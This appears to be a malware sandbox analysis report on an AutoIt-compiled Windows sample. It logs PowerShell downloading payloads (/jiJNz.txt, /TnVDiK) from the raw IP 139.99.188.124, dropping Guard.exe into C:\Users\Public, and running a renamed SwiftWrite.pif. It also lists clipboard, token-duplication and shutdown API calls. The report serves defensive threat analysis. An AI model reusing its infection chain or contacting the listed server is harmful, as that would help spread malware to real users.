8f 00 00 00 00 0c 00 00 52 00 00 00 ea 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 50 d7 00 00 00 90 0c 00 00 d8 00 00 00 3c 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 71 00 00 00 70 0d 00 00 72 00 00 00 14 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global trafficHTTP traffic detected: GET /jiJNz.txt HTTP/1.1Host: 139.99.188.124Connection: Keep-Alive
Source: Joe Sandbox ViewASN Name: OVHFR OVHFR
Source: unknownDNS traffic detected: query: nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs replaycode: Name error (3)
Source: global trafficHTTP traffic detected: GET /TnVDiK HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 139.99.188.124Connection: Keep-Alive
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53FE87C InternetReadFile,1_2_00007FF6A53FE87C
Source: global trafficHTTP traffic detected: GET /TnVDiK HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 139.99.188.124Connection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /jiJNz.txt HTTP/1.1Host: 139.99.188.124Connection: Keep-Alive
Source: global trafficDNS traffic detected: DNS query: nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs
Source: powershell.exe, 00000005.00000002.1436744957.000001D3D2C77000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1436744957.000001D3D3B97000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://139.99.188.124
Source: l5VhEpwzJy.exe, 00000001.00000002.1383303936.000002631AE20000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://139.99.188.124/TnVDiK.w
Source: powershell.exe, 00000005.00000002.1436744957.000001D3D2C77000.00000004.00000800.00020000.00000000.sdmp, PublicProfile.ps1.1.drString found in binary or memory: http://139.99.188.124/jiJNz.txt
Source: powershell.exe, 00000005.00000002.1436744957.000001D3D3B97000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://139.99.H2
Source: Guard.exe, 00000007.00000003.1460484447.0000000004DAA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000007.00000002.2555604381.0000000003F95000.00000004.00000020.00020000.00000000.sdmp, Guard.exe.2.dr, SwiftWrite.pif.7.drString found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: Guard.exe, 00000007.00000003.1460484447.0000000004DAA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000007.00000002.2555604381.0000000003F95000.00000004.00000020.00020000.00000000.sdmp, Guard.exe.2.dr, SwiftWrite.pif.7.drString found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Guard.exe, 00000007.00000003.1460484447.0000000004DAA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000007.00000002.2555604381.0000000003F95000.00000004.00000020.00020000.00000000.sdmp, Guard.exe.2.dr, SwiftWrite.pif.7.drString found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Guard.exe, 00000007.00000003.1460484447.0000000004DAA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000007.00000002.2555604381.0000000003F95000.00000004.00000020.00020000.00000000.sdmp, Guard.exe.2.dr, SwiftWrite.pif.7.drString found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: powershell.exe, 00000005.00000002.1461148099.000001D3E2AC2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1436744957.000001D3D4440000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
Source: Guard.exe, 00000007.00000003.1460484447.0000000004DAA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000007.00000002.2555604381.0000000003F95000.00000004.00000020.00020000.00000000.sdmp, Guard.exe.2.dr, SwiftWrite.pif.7.drString found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Guard.exe, 00000007.00000003.1460484447.0000000004DAA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000007.00000002.2555604381.0000000003F95000.00000004.00000020.00020000.00000000.sdmp, Guard.exe.2.dr, SwiftWrite.pif.7.drString found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: Guard.exe, 00000007.00000003.1460484447.0000000004DAA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000007.00000002.2555604381.0000000003F95000.00000004.00000020.00020000.00000000.sdmp, Guard.exe.2.dr, SwiftWrite.pif.7.drString found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: powershell.exe, 00000005.00000002.1436744957.000001D3D42CC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000005.00000002.1436744957.000001D3D2A51000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Guard.exe, 00000007.00000003.1460484447.0000000004DAA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000007.00000002.2555604381.0000000003F95000.00000004.00000020.00020000.00000000.sdmp, Guard.exe.2.dr, SwiftWrite.pif.7.drString found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Guard.exe, 00000007.00000003.1460484447.0000000004DAA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000007.00000002.2555604381.0000000003F95000.00000004.00000020.00020000.00000000.sdmp, Guard.exe.2.dr, SwiftWrite.pif.7.drString found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: powershell.exe, 00000005.00000002.1436744957.000001D3D40A9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000005.00000002.1436744957.000001D3D42CC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: Guard.exe, 00000007.00000000.1434982330.00000000006C9000.00000002.00000001.01000000.00000007.sdmp, Guard.exe, 00000007.00000003.1460484447.0000000004DAA000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif, 0000000C.00000000.1602100943.0000000000159000.00000002.00000001.01000000.0000000A.sdmp, Guard.exe.2.dr, SwiftWrite.pif.7.drString found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: powershell.exe, 00000005.00000002.1436744957.000001D3D2A51000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000005.00000002.1436744957.000001D3D4440000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.1436744957.000001D3D4440000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.1436744957.000001D3D4440000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000005.00000002.1436744957.000001D3D42CC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000005.00000002.1436744957.000001D3D3B97000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro
Source: powershell.exe, 00000005.00000002.1461148099.000001D3E2AC2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1436744957.000001D3D4440000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000005.00000002.1436744957.000001D3D40A9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneget.org
Source: powershell.exe, 00000005.00000002.1436744957.000001D3D40A9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneget.orgX
Source: Guard.exe, 00000007.00000003.1460484447.0000000004DAA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000007.00000002.2555604381.0000000003F95000.00000004.00000020.00020000.00000000.sdmp, Guard.exe.2.dr, SwiftWrite.pif.7.drString found in binary or memory: https://www.autoitscript.com/autoit3/
Source: SwiftWrite.pif.7.drString found in binary or memory: https://www.globalsign.com/repository/0
Source: Guard.exe, 00000007.00000003.1460484447.0000000004DAA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000007.00000002.2555604381.0000000003F95000.00000004.00000020.00020000.00000000.sdmp, Guard.exe.2.dr, SwiftWrite.pif.7.drString found in binary or memory: https://www.globalsign.com/repository/06
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A5400A6C OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,1_2_00007FF6A5400A6C
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A5400D24 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,1_2_00007FF6A5400D24
Source: C:\Users\Public\Guard.exeCode function: 7_2_00674830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,7_2_00674830
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_00104830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,12_2_00104830
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A5400A6C OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,1_2_00007FF6A5400A6C
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53E8E18 GetParent,GetKeyboardState,SetKeyboardState,PostMessageW,PostMessageW,PostMessageW,PostMessageW,1_2_00007FF6A53E8E18
Source: C:\Users\Public\Guard.exeCode function: 7_2_0068D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,7_2_0068D164
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_0011D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,12_2_0011D164

System Summary

barindex
Binary is likely a compiled AutoIt script file
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: This is a third-party compiled AutoIt script.1_2_00007FF6A53737B0
Source: l5VhEpwzJy.exeString found in binary or memory: This is a third-party compiled AutoIt script.
Source: l5VhEpwzJy.exe, 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: This is a third-party compiled AutoIt script.memstr_2640b7b7-9
Source: l5VhEpwzJy.exe, 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer@*>memstr_4e97034d-c
Source: l5VhEpwzJy.exeString found in binary or memory: This is a third-party compiled AutoIt script.memstr_f60c2284-c
Source: l5VhEpwzJy.exeString found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer@*memstr_99b80f41-4
Powershell drops PE file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\Public\Guard.exeJump to dropped file
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53F3E20: GetFullPathNameW,CreateDirectoryW,CreateFileW,RemoveDirectoryW,DeviceIoControl,CloseHandle,CloseHandle,1_2_00007FF6A53F3E20
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53DCE68 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,1_2_00007FF6A53DCE68
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53ED750 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,1_2_00007FF6A53ED750
Source: C:\Users\Public\Guard.exeCode function: 7_2_00665778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,7_2_00665778
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 12_2_000F5778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,12_2_000F5778
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A540F6301_2_00007FF6A540F630
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A541C6D41_2_00007FF6A541C6D4
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A541A59C1_2_00007FF6A541A59C
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A541055C1_2_00007FF6A541055C
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53AA8A01_2_00007FF6A53AA8A0
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53B67F01_2_00007FF6A53B67F0
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A54063201_2_00007FF6A5406320
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53902C41_2_00007FF6A53902C4
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53945141_2_00007FF6A5394514
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53A84C01_2_00007FF6A53A84C0
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A54083601_2_00007FF6A5408360
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53B24001_2_00007FF6A53B2400
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A539C3FC1_2_00007FF6A539C3FC
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53F83D41_2_00007FF6A53F83D4
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A541CE8C1_2_00007FF6A541CE8C
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A5390E901_2_00007FF6A5390E90
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A5380E701_2_00007FF6A5380E70
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A5382E301_2_00007FF6A5382E30
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53B6DE41_2_00007FF6A53B6DE4
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53A30DC1_2_00007FF6A53A30DC
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A5410AEC1_2_00007FF6A5410AEC
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A5372AE01_2_00007FF6A5372AE0
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53B2D201_2_00007FF6A53B2D20
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A5406C341_2_00007FF6A5406C34
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A54056A01_2_00007FF6A54056A0
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53A95B01_2_00007FF6A53A95B0
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53ED87C1_2_00007FF6A53ED87C
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A537183C1_2_00007FF6A537183C
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53B18401_2_00007FF6A53B1840
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A539F8D01_2_00007FF6A539F8D0
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53858D01_2_00007FF6A53858D0
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53A17501_2_00007FF6A53A1750
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A54217C01_2_00007FF6A54217C0
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53B529C1_2_00007FF6A53B529C
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A54032AC1_2_00007FF6A54032AC
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A537B3901_2_00007FF6A537B390
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A539BEB41_2_00007FF6A539BEB4
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A537BE701_2_00007FF6A537BE70
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A540206C1_2_00007FF6A540206C
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A539C1301_2_00007FF6A539C130
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A5375F3C1_2_00007FF6A5375F3C
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A538FA4F1_2_00007FF6A538FA4F
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A541DB181_2_00007FF6A541DB18
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53A793C1_2_00007FF6A53A793C
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A541BA0C1_2_00007FF6A541BA0C
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A53F1A181_2_00007FF6A53F1A18
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A537B9F01_2_00007FF6A537B9F0
Source: C:\Users\user\Desktop\l5VhEpwzJy.exeCode function: 1_2_00007FF6A5383C201_2_00007FF6A5383C20
Source: C:\Users\Public\Guard.exeCode function: 7_2_0060B0207_2_0060B020
Source: C:\Users\Public\Guard.exeCode function: 7_2_006094E07_2_006094E0
Source: C:\Users\Public\Guard.exeCode function: 7_2_00609C807_2_00609C80
Source: C:\Users\Public\Guard.exeCode function: 7_2_006223F57_2_006223F5
Source: C:\Users\Public\Guard.exeCode function: 7_2_006884007_2_00688400
Source: C:\Users\Public\Guard.exeCode function: 7_2_006365027_2_00636502
Source: C:\Users\Public\Guard.exeCode function: 7_2_0063265E7_2_0063265E
Source: C:\Users\Public\Guard.exeCode function: 7_2_0060E6F07_2_0060E6F0
Source: C:\Users\Public\Guard.exeCode function: 7_2_0062282A7_2_0062282A
Source: C:\Users\Public\Guard.exeCode function: 7_2_006389BF7_2_006389BF
